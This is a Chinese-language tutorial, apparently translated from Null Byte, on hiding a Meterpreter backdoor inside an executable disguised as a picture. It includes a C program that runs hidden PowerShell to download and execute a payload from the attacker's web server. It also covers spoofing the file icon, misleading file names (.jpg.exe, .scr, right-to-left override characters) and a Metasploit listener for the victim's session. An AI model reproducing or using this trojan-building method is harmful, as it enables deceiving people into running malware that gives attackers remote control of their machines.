【技术分享】图片伪装病毒的奇淫技巧

阅读量230514

|

发布时间 : 2016-12-06 14:57:53

x
译文声明

本文是翻译文章,文章来源:null-byte

原文地址:http://null-byte.wonderhowto.com/how-to/hide-virus-inside-fake-picture-0168183/

译文仅供参考,具体内容表达以及含义原文为准。

http://p5.qhimg.com/t01242e5650283a6421.jpg

翻译:secist

预估稿费:140RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


在这篇文章中,我将教大家如何将类似于 meterpreter 的后门脚本代码插入到图片中,利用图片来对其进行伪装。话不多说,下面我们来动手操作!


Step 1 创建 Payload


Part I: 创建 Powershell Payload

我将使用 Social Engineering Toolkit 来创建我们所需的 powershell payload 。使用如下命令,打开它:

setoolkit

http://p6.qhimg.com/t0160cfde0a3e53f7fc.jpg

接着我们依次输入 1 选择 "social engineering attacks",输入 9 选择 "powershell attack vectors",最后输入 1 选择 "powershell alphanumeric shellcode injector"。

这里会要求你提供 LHOST 本地 IP ,如果你不清楚本地 IP 是多少,可以使用 ifconfig 命令来查看:

http://p1.qhimg.com/t0150349fedf763d943.jpg

这里我的无线网卡为 eth0 ,LHOST 为我高亮显示的 10.0.0.13。

下面会询问你用于本地侦听的端口,这里我就使用 4444 端口作为本地侦听端口。当然除了 4444 端口,你们还可以根据自己喜好来选择任意端口!注意:不要与其他以使用端口冲突!

完成以上操作后,最后会询问你是否开始侦听,这里我们选择 NO 稍后手动来开启侦听!这样关于 SET 上操作就算结束了。

现在我们要做的是将生成的 payload 移动到 apache webserver 目录下。操作命令如下:

mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/html/payload.txt

提示:如果你用的仍是老版本的 kali 而不是 kali 2.0 你可以使用以下命令完成以上操作:

mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/payload.txt

我们需要一张图片用于向目标用户展示,伪装我们的 payload 使其成功被运行。这里我选择使用以下图片:

http://p4.qhimg.com/t013713975a3a409b60.jpg

我将图片保存成名为 screenshot.jpg 的文件,并将其存放在 apache webserver 目录下。( kali 1 版本目录位置为:/var/www kali 2.0 为: /var/www/html)在后面我们将会使用到它。

接着我们来启动 apache 服务:

service apache2 start

Part II: 创建可执行文件

为了创建木马病毒,这里我使用 notepad 和 MinGW's "gcc" 编译器。病毒代码如下:

#include<stdio.h>
main()
{
system("powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://10.0.0.13/screenshot.jpg', 'C:\Users\Public\screenshot.jpg') & start C:\Users\Public\screenshot.jpg & powershell.exe "IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))"");
return 0;
}

注意:将以上代码的 "10.0.0.13" IP 修改成你的 LHOST 地址!

这段代码将会从我的 apache 服务器上下载 screenshot.jpg 文件,并利用默认视图工具打开它。因此在该病毒被第一次运行,并不会引起目标的过多怀疑!

将该病毒文件保存成 "evil.c" 的 C 语言文件,并使编译器对其进行编译。这里我使用我最爱的 GCC 来进行编译:

gcc.exe D:Hackingevil.c -o D:Hackingevil.exe

http://p7.qhimg.com/t01dfcb9137b3905e61.jpg

这样我们就得到了一个可执行文件,一切准备就绪下面让我们来运行我们的恶意 payload !


Step 2 让可执行文件看起来像张图片


首先我们来对该可执行文件进行伪装,使其看起来像张图片。当前生成的默认 图标如下:

http://p3.qhimg.com/t0137d7812769713f14.jpg

显而易见这样很容易被人发现,下面让我们来改变它。我需要将 screenshot.jpg 图片转换成 icon 图标,这里我使用在线转换工具来完成 :online converter

接着,我将使用 Resource Hacker 这个小工具来将原本的默认图标修改成我们生成的图标。我们打开  Resource Hacker  依次打开 File –> Open:

http://p0.qhimg.com/t019d876d919972f4fe.jpg

然后选择我们在 step 1 创建的可执行文件,点击 Add Binary 或 Image Resource 按钮来选择添加我们的 .icon 文件。

http://p9.qhimg.com/t01f76a98d6c93196c0.jpg

http://p7.qhimg.com/t01e83fb37bb3a4f623.jpg

最后点击 Add Resource 和 Save 保存!

http://p0.qhimg.com/t01cc9562519fcd385b.jpg

http://p8.qhimg.com/t01e0af639021e0537e.jpg

完成以上操作后,再让我们回过头来看看现在的图标:

http://p7.qhimg.com/t010b0f55a170459ec3.jpg

但是到此我们的工作还没做完。


Step 3 对可执行文件重命名


Possibility I:典型的 ".jpg.exe"

默认 windows 隐藏文件的已知文件扩展名,我们需要将其勾选取消,让它显示:

http://p7.qhimg.com/t017a4884dcf899bdc0.jpg

我们将文件重命名为 "evil.jpg.exe" 如果目标用户仍然保持以上的默认设置,他将看到如下形式命名的文件:

http://p6.qhimg.com/t01e2e64cdfa3fbaaf6.jpg

Possibility II:Screenshot.scr

在 Possibility I 的方法中我们难免会被发现,因为我们不能总依赖于目标用户是否进行相关的设置。因此另外个方案就是改变文件的扩展名将 ".exe" 变成 ".scr"。如下:

http://p1.qhimg.com/t0193a0e65ae816e92f.jpg

不要担 .scr 扩展名仍会像 .exe  文件一样被执行,并不会对其原有功能产生任何破坏。唯一不同的是,这将使目标用户误认为它是一个快照截图,从而达到欺骗目标的效果。

Possibility III:Unitrix

Unitrix 可以对文件名进行从右至左 (Right-to-Left) 的字符重写  (RLO) ,让受害者以为这不是一个可执行文件。例如:原本名为 "exe.jpg" 文件会被重写为 "gpj.exe",这样可以更好的达到欺骗受害目标的目的。下面我来做个示范:

首先我们在可执行文件上右击鼠标,并选择 'Rename' 重命名,选中 "geometric agpj.scr":

http://p0.qhimg.com/t01ab41ea7d0b252dde.jpg

将光标移动至 gpj 前,右击鼠标并悬停在 "Insert Unicode Control Character" 插入统一控制字符编码,并选择 字符重写  (RLO) :

http://p5.qhimg.com/t01c4421088fa3f10d4.jpg

当我们成功执行以上操作后,我们将会看到图片被重写为了 "geometric arcs.jpg"。

http://p7.qhimg.com/t01f00cffcdb33510b1.jpg

注意:虽然通过这种技术方式,可以是我们的文件不具有可执行性文件的签名,但是有时它仍会被杀毒软件主动报告为恶意程序。原因在于它的文件名存在 字符重写  (RLO) 。


Step 4 建立本地侦听


最后我们需要做的是,建立一个本地侦听程序,用来建立与受害目标的 meterpreter session 。使用以下命令启动 metasploit framework :

msfconsole

首次加载我们接着输入:

use multi/handler

http://p0.qhimg.com/t01672f91af9d2f9d44.jpg

本文翻译自null-byte 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
secist
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66